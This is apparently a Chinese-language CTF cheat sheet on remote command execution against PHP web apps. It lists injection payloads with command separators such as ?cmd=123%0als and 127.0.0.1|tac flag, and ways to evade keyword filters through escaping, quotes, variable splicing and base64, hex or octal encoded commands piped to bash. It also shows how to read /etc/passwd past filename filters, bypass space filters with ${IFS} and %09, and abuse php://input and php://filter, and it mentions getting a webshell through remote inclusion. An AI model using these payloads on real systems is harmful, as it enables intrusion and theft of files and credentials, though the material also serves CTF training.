rce 漏洞

过滤分隔符 ;
1,可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号

功能 符号 payload
换行符 %0a ?cmd=123%0als
回车符 %0d ?cmd=123%0dls
连续指令 ; ?1=123;pwd
后台进程 & ?1=123&pwd
管道 | ?1=123|pwd
逻辑运算 ||或&& ?1=123&&pwd

;    //分号
|    //把前面输出的当作后面的输入 (管道符)
||    //前面为假才执行后面的指令
&    //两条命令都会执行
&&    //前面为假,后面不执行

1、过滤cat、flag等关键字
1.1 常见linux系统命令
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
strings
rev

1.2 使用转义符
ca\t fl\ag ;

1.3 使用引号
ca''t  fl''ag;

1.4 内联执行绕过
拼接 flag

?code=a=ag;b=fl;cat $b$a;   //相当于 cat flag

第二种:

//当前目录下有 index.php、flag.php
cat `ls`;
//相当于 cat index.php;cat flag.php, 将ls命令的结果给cat去执行

1.5 编码绕过
base64编码

[root~]# echo 'cat flag.txt' | base64
Y2F0IGZsYWcudHh0Cg==
[root~]# echo Y2F0IGZsYWcudHh0Cg== | base64 -d
cat flag.txt
    
[root~]# echo Y2F0IGZsYWcudHh0Cg== | base64 -d | sh
flag{flag_is_here}
[root~]# echo Y2F0IGZsYWcudHh0Cg== | base64 -d | bash
flag{flag_is_here}

1.6 进制绕过
16进制

[root~]# echo cat flag.txt | xxd 
6361 7420 666c 6167 2e74 7874 0a
[root~]# echo 6361 7420 666c 6167 2e74 7874 0a | xxd -r -p
cat flag.txt
[root~]# echo 6361 7420 666c 6167 2e74 7874 0a | xxd -r -p | bash  或 | sh
flag{flag_is_here}


[root~]# $(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")  //cat flag.txt 16进制
flag{flag_is_here}

8进制

[root~]# $(printf "\143\141\164\40\146\154\141\147\56\164\170\164")  
flag{flag_is_here}

1.7 过滤文件名(如: /etc/passwd文件)
1) 利用正则匹配绕过

[root~]# cat /???/pass*

2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过

[root~]# cat /etc$u/passwd

1.8 使用$*和$@,$x,${x}


1.9 读取文件命令
curl file:///root/Desktop/flag.txt
strings flag.txt
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd
sort flag.txt
 

1.10 查找文件命令(find)
# find . -name f*   //查找当前目录下f开头的文件
./flag.txt

2、rce常见php函数
system()  执行命令
passthru()
exec()
shell_exec()
popen()
pcntl_exec()
反引号  同shell_exec()
eval()  执行命令
show_source() 高亮显示文件
highlight_file()  高亮显示文件
array_reverse()  反向输出元素
pos()  输出当前元素的值
localeconv()  返回一包含本地数字及货币格式信息的数组
include  一般用于括号被过滤的情况,因为可以不用括号
require  一般用于括号被过滤的情况,因为可以不用括号
echo()  输出
next()  下一个元素

3、rce常见linux系统命令
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
strings
rev    反过来输出文件内容

4、过滤空格
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat {cat,flag}
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令

eg.
{ls,}
{cat,flags}
{mv,flags,flag}

(1) eval执行

eval()函数

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行

php://input

用法: 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行.

因此可以用php://input 来执行post输入流的命令

(4) 读取源代码(php://filter)
和上一题一样,也是考察我们对php伪协议的了解。

我们可以通过filter协议来读取网页源代码。

题目提示 flag in /flag   flag在/flag文件里

?file=php://filter/read=convert.base64-encode/resource=/flag

(5) 远程包含(php://input)

远程文件包含:

        指定第三方服务器上可运行的php木马,拿到webshell,查看Flag文件。

(7) 过滤cat
老办法,管道符执行我们命令之后,可知

flag 在当前目录的 flag_7709325353056.php文件里

不过看源码可知,flag被过滤了。可以用tac绕过 (head,tail,nl,vim,less,more等等都可以)

传入 127.0.0.1 | tac flag_7709325353056.php

查看源代码,发现flag

空格过滤绕过:

${IFS}

$IFS$9

%09

%20

<>

<

可以尝试上面绕过空格。

传入 127.0.0.1|cat${IFS}flag_628186223836.php

你可能感兴趣的:(知识,网络安全,学习)